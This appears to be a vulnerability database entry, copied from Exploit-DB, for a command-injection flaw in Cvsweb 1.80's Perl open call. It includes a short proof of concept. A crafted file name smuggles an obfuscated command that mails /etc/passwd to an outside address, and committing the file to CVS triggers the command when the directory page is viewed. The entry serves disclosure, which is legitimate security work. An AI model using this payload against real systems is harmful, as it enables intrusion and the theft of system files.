Cvsweb 1.80 Insecure Perl OPEN Function Call

vendor:

Cvsweb

by:

7.5

CVSS

HIGH

Insecure Perl OPEN Function Call

CWE

Product Name: Cvsweb

Affected Version From: Cvsweb 1.80

Affected Version To: Cvsweb 1.80

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Cvsweb 1.80 Insecure Perl OPEN Function Call

Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |"). An attack allows the attacker to execute arbitrary commands on the host machine by visiting the CVSweb page or waiting for someone else to do the same.

Mitigation:

Upgrade to a patched version of Cvsweb.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1469/info

Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")

An attack looks something like this:

SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE

Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here].